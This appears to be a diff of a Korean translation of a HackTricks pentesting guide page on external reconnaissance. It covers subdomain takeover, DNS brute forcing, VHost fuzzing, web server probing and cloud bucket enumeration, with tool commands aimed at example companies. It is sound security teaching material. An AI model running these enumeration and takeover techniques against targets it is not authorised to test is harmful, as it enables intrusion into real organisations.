사람들이 하위 도메인을 클라우드 제공업체에 속하는 IP에 할당하고 어느 순간에는 ** IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 흔합니다**. 따라서, 클라우드(예: Digital Ocean)에 VM을 생성하기만 하면 실제로 **일부 하위 도메인을 인수**할 수 있습니다. 사람들이 하위 도메인을 클라우드 제공업체에 속하는 IP에 할당하고 어느 순간에는 **해당 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 흔합니다**. 따라서, 클라우드(예: Digital Ocean)에 VM을 생성하기만 하면 실제로 **일부 하위 도메인을 인수**할 수 있습니다.
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고, **DigitalOcean에서 VM을 생성**하고, 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색**하는 스크립트를 제안합니다. [**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고, **DigitalOcean에서 VM을 생성**하고, 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색**하는 스크립트를 제안합니다.
@ -186,31 +186,31 @@ return fhash
**Shodan** **Shodan**
이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. shodan에서 다음 데이터로 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예상치 못한 도메인을 찾으세요. 이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. 이 정보로 Shodan에서 다음과 같이 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예상치 못한 도메인을 찾으세요.
주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음, shodan에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다. 주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음, Shodan에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
**Assetfinder** **Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)는 주요 도메인과 해당 **하위 도메인**과 관련된 **도메인을 찾는 도구**로 매우 놀라운 도구입니다. [**Assetfinder**](https://github.com/tomnomnom/assetfinder)는 주요 도메인과 해당 **하위 도메인**을 찾는 도구로 매우 훌륭합니다.
### **취약점 찾기** ### **취약점 찾기**
[도메인 탈취](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하세요. 어떤 회사가 **도메인을 사용**하지만 **소유권을 잃었을 수 있습니다**. 저렴하다면 등록하고 회사에 알리세요. [도메인 인수](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하세요. 어떤 회사가 **도메인을 사용 중**이지만 **소유권을 잃어버렸을 수 있습니다**. 저렴하다면 등록하고 해당 회사에 알려주세요.
자산 발견에서 찾은 IP와 다른 **도메인을 발견하면**, 기본 취약점 스캔(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\ 자산 발견에서 이미 찾은 자산과 다른 IP를 가진 **도메인을 발견하면**, 기본 취약점 스캔(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\
_도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있을 수 있으므로 주의하세요._ _도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있을 수 있으므로, 주의하세요._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**까지 보상을 받으세요! **버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 하위 도메인 ## 하위 도메인
> 우리는 범위 내의 모든 회사, 각 회사의 모든 자산 및 회사와 관련된 모든 도메인을 알고 있습니다. > 우리는 스코프 내의 모든 회사, 각 회사의 모든 자산 및 회사와 관련된 모든 도메인을 알고 있습니다.
이제 찾은 각 도메인의 모든 가능한 하위 도메인을 찾아야 합니다. 이제 찾은 각 도메인의 모든 가능한 하위 도메인을 찾아보는 시간입니다.
{% hint style="success" %} {% hint style="success" %}
일부 도메인을 찾는 데 사용되는 도구 및 기술은 하위 도메인을 찾는 데도 도움이 될 수 있습니다! 일부 도메인을 찾는 데 사용되는 도구 및 기술은 하위 도메인을 찾는 데도 도움이 될 수 있습니다!
@ -218,7 +218,7 @@ _도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있
### **DNS** ### **DNS**
**DNS** 레코드에서 **하위 도메인**을 가져오려고 합니다. **Zone Transfer**도 시도해야 합니다(취약하다면 보고해야 합니다). **DNS** 레코드에서 **하위 도메인**을 가져오려고 합니다. **Zone Transfer**도 시도해보아야 합니다(취약하다면 보고해야 합니다).
```bash ```bash
dnsrecon -a -d tesla.com dnsrecon -a -d tesla.com
``` ```
@ -335,18 +335,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색하기 위한 무료 API를 제공합니다. * [**securitytrails.com**](https://securitytrails.com/)은 하위 도메인 및 IP 기록을 검색하기 위한 무료 API를 제공합니다.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
이 프로젝트는 **버그-바운티 프로그램과 관련된 모든 서브도메인을 무료로 제공**합니다. 이 데이터에 접근하려면 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하거나 이 프로젝트에서 사용하는 범위에도 접근할 수 있습니다. [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) 이 프로젝트는 **버그-바운티 프로그램과 관련된 모든 하위 도메인을 무료로 제공**합니다. 이 데이터에 접근하려면 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하거나 이 프로젝트에서 사용하는 범위에도 접근할 수 있습니다 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
여러 이러한 도구들의 **비교**를 여기에서 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) 다양한 도구들의 **비교**를 여기에서 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS 브루트 포스** ### **DNS 브루트 포스**
가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **서브도메인**을 찾아봅시다. 가능한 하위 도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **하위 도메인**을 찾아봅시다.
이 작업을 위해 몇 가지 **일반적인 서브도메인 워드리스트가 필요**합니다: 이 작업을 위해 몇 가지 **일반적인 하위 도메인 워드리스트가 필요**합니다:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -364,11 +364,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
* [**gobuster**](https://github.com/OJ/gobuster): 이건 제 생각에는 resolver를 하나만 사용하는 것 같아요. * [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 리졸버만 사용하는 것 같습니다.
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)`massdns`를 감싼 것으로, 유효한 하위 도메인을 활성 브루트 포스를 사용하여 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 하위 도메인을 해결할 수 있습니다. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns)`massdns`를 래핑한 것으로, 유효한 서브도메인을 활성 브루트포스를 사용하여 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 서브도메인을 해결할 수 있습니다.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -376,20 +376,20 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입 공격합니다. * [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 브루트 포싱합니다.
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### 두 번째 DNS 브루트포스 라운드 ### 두 번째 DNS 브루트포스 라운드
오픈 소스 및 브루트 포싱을 사용하여 하위 도메인을 찾은 후, 찾은 하위 도메인의 변형을 생성하여 더 많은 도메인을 찾아볼 수 있습니다. 이를 위해 다음과 같은 여러 도구가 유용합니다: 공개 소스 및 브루트포스를 사용하여 하위 도메인을 찾은 후, 찾은 하위 도메인의 변형을 생성하여 더 많은 도메인을 찾아볼 수 있습니다. 이를 위해 다음과 같은 여러 도구가 유용합니다:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인 및 하위 도메인을 주어진 경우 순열을 생성합니다. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인 및 하위 도메인을 주어진 경우 순열을 생성합니다.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): 주어진 도메인 및 서브도메인에서 순열을 생성합니다. * [**goaltdns**](https://github.com/subfinder/goaltdns): 주어진 도메인 및 서브도메인에서 순열을 생성합니다.
* goaltdns 순열 **wordlist** [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다. * goaltdns 순열 **wordlist** [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다.
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
@ -403,28 +403,28 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): 하위 도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무차별 대입할 것입니다 (DNS 와일드카드를 지원하지 않음). * [**dmut**](https://github.com/bp0lr/dmut): 하위 도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무차별 대입할 것입니다 (DNS 와일드카드를 지원하지 않음).
* dmut 순열 워드리스트는 [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 얻을 수 있습니다. * [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 dmut 순열 워드리스트를 얻을 수 있습니다.
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 도메인을 기반으로 하여 **지정된 패턴에 따라 새로운 잠재적인 하위 도메인 이름을 생성**하여 더 많은 하위 도메인을 발견하려고 시도합니다. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적인 하위 도메인 이름을 생성**하여 더 많은 하위 도메인을 발견하려고 시도합니다.
#### 스마트 순열 생성 #### 스마트 순열 생성
* [**regulator**](https://github.com/cramppet/regulator): 자세한 정보는 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 참조하십시오. 이 도구는 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾니다. * [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 참조하십시오. 그러나 기본적으로 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾을 것입니다.
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 서브도메인 브루트포스 퍼저로, 간단하지만 효과적인 DNS 응답 가이드 알고리즘과 결합되어 있습니다. 특정한 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다. * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 서브도메인 브루트포스 퍼저로, 간단하지만 효과적인 DNS 응답 가이드 알고리즘과 결합되어 있습니다. 특정한 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **서브도메인 발견 워크플로우** ### **서브도메인 발견 워크플로우**
도메인에서 **Trickest 워크플로우**를 사용하여 **서브도메인 발견을 자동화**하는 방법에 대해 작성한 블로그 포스트를 확인해보세요. 이를 통해 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다: 도메인에서 **서브도메인 발견을 자동화**하는 방법에 대해 쓴 블로그 포스트를 확인해보세요. **Trickest workflows**를 사용하여 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -432,11 +432,11 @@ echo www | subzuf facebook.com
### **VHosts / 가상 호스트** ### **VHosts / 가상 호스트**
하나 이상의 웹 페이지를 포함하는 IP 주소를 발견했다면, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. 이를 위해 IP에서 도메인을 찾거나 **해당 IP의 VHost 도메인 이름을 무차별 대입**하여 찾아볼 수 있습니다. 하나 이상의 웹 페이지를 포함하는 **IP 주소를 발견**했다면, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. 이를 위해 **OSINT 소스**에서 IP의 도메인을 찾거나 해당 IP에서 **VHost 도메인 이름을 무차별 대입**하여 다른 서브도메인을 찾아볼 수 있습니다.
#### OSINT #### OSINT
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API를 사용하여** IP에서 **VHost를 찾을 수 있습니다**. [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API**를 사용하여 **IP에서 VHosts를 찾을 수 있습니다**.
**무차별 대입** **무차별 대입**
@ -466,63 +466,63 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
``` ```
### **버킷 브루트 포스** ### **버킷 브루트 포스**
**서브도메인**을 찾을 때 **어떤 버킷을 가리키는지 확인**하고 그 경우에는 [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**해보세요**.\ **서브도메인**을 찾을 때 **버킷**으로 **포인팅**되는지 확인하고, 그 경우에는 [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**세요**.\
또한, 이 시점에서 범위 내의 모든 도메인을 알게 될 것이므로 [**가능한 버킷 이름을 브루트 포스하고 권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)해보세요. 또한, 여기까지 도메인 범위 내의 모든 도메인을 알게 될 것이므로 [**가능한 버킷 이름을 브루트 포스하고 권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**하세요**.
### **모니터링** ### **모니터링**
**도메인의 새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)를 사용하세요. 도메인의 **새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)를 사용하세요.
### **취약점 탐색** ### **취약점 탐색**
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)을 확인하세요.\ 가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)을 확인하세요.\
**서브도메인**이 **S3 버킷**을 가리키는 경우, [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)하세요. **서브도메인**이 **S3 버킷**을 가리키는 경우, [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**하세요**.
자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 발견하면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\ 자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 발견하면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\
_가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으니 주의하세요._ _가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으니 주의하세요._
## IPs ## IPs
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인을 찾았을 수 있습니다.**\ 초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인을 찾았을 것**입니다.\
이제 **해당 범위에서 모든 IP**와 **도메인/서브도메인(DNS 쿼리)**을 다시 수집해야 합니다. 이제 **해당 범위에서 모든 IP**와 **도메인/서브도메인(DNS 쿼리)**을 다시 수집할 시간입니다.
다음 **무료 API 서비스**를 사용하여 **도메인 및 서브도메인에서 사용된 이전 IP**를 찾을 수도 있습니다. 이러한 IP는 아직 클라이언트가 소유하고 있을 수 있으며 [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾을 수 있습니다. 다음 **무료 API** 서비스를 사용하여 **이전에 도메인 및 서브도메인에서 사용된 IP**를 찾을 수도 있습니다. 이러한 IP는 아직 클라이언트가 소유하고 있을 수 있으며 [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾을 수 있습니다.
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
도구 [**hakip2host**](https://github.com/hakluke/hakip2host)를 사용하여 특정 IP 주소를 가리키는 도메인을 확인할 수도 있습니다. 도메인이 특정 IP 주소를 가리키는지 확인할 수 있는 도구 [**hakip2host**](https://github.com/hakluke/hakip2host)를 사용할 수도 있습니다.
### **취약점 탐색** ### **취약점 탐색**
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요(거기에 흥미로운 것을 찾을 가능성이 높지 않습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**. **CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요 (거기에 흥미로운 것을 찾을 가능성이 높지 않습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**.
**호스트를 스캔하는 방법에 대한** [**가이드**](../pentesting-network/) **를 찾으세요.** **호스트를 스캔하는 방법에 대한** [**가이드**](../pentesting-network/) **를 찾으세요**.
## 웹 서버 탐색 ## 웹 서버 탐색
> 모든 기업과 자산을 찾았으며 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 찾아보는 시간입니다. > 모든 기업과 자산을 찾았으며 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 찾아보는 시간입니다.
이전 단계에서 이미 발견된 **IP 및 도메인을 탐색**했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직이라면 이제 범위 내의 웹 서버를 찾는 **빠른 팁**을 살펴보겠습니다. 이전 단계에서 이미 발견된 **IP 및 도메인의 탐색**을 수행했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직이라면 이제 범위 내의 웹 서버를 찾는 **빠른 팁**을 살펴보겠습니다.
이것은 **웹 앱 발견을 위해 지향**되므로 **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위 내에서 허용되는 경우**). 이것은 **웹 앱 발견을 위해 지향**되므로 범위 내에서 **취약점** 및 **포트 스캔**도 수행해야 합니다 (**범위 내에서 허용되는 경우**).
[**masscan을 사용하여 웹 서버와 관련된 열린 포트를 빠르게 찾을 수 있는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\ [**masscan을 사용하여 웹 서버와 관련된 열린 포트를 빠르게 찾을 수 있는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
또 다른 친숙한 웹 서버 탐색 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다: 다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다.
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **스크린샷** ### **스크린샷**
이제 스코프 내에 있는 모든 웹 서버(IP 주소, 회사의 도메인 및 서브도메인 중)를 발견했으므로 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서 간단하게 시작하고 그 모든 것의 스크린샷을 찍는 것부터 시작합시다. **메인 페이지**를 살펴보기만 해도 **취약할 가능성이 높은** **이상한** 엔드포인트를 찾을 수 있습니다. 이제 스코프 내에 있는 **모든 웹 서버**를 발견했으므로 (회사의 **IP** 및 모든 **도메인****서브도메인** 중) 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서, 간단하게 시작하고 그 모든 것의 스크린샷을 찍는 것으로 시작합시다. **메인 페이지**를 **살펴보기만** 해도 **취약할 가능성이 높은** **이상한** 엔드포인트를 찾을 수 있습니다.
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)를 사용할 수 있습니다. 제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**** 사용할 수 있습니다.
또한, 그런 다음 [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 **스크린샷**을 모두 실행하여 **취약점을 포함할 가능성이 높은 것**과 그렇지 않은 것을 알려줄 수 있습니다. 또한, 그런 다음 [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 모든 **스크린샷**을 실행하여 **취약점을 포함할 가능성이 높은 것**과 그렇지 않은 것을 알려줄 수 있습니다.
## 퍼블릭 클라우드 자산 ## 공용 클라우드 자산
회사에 속한 잠재적인 클라우드 자산을 찾으려면 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다. 회사에 속한 잠재적인 클라우드 자산을 찾으려면 해당 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다.
또한 **버킷에서 사용되는 일반 단어들의 단어 목록**이 필요합니다: 또한 **버킷에서 사용되는 일반 단어들의 단어 목록**이 필요합니다:
@ -530,24 +530,24 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하십시오). 그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 DNS 브루트포스 라운드**](./#second-dns-bruteforce-round)를 확인하십시오).
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum), [**CloudScraper**](https://github.com/jordanpotti/CloudScraper), [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)와 같은 도구를 사용할 수 있습니다. 생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.
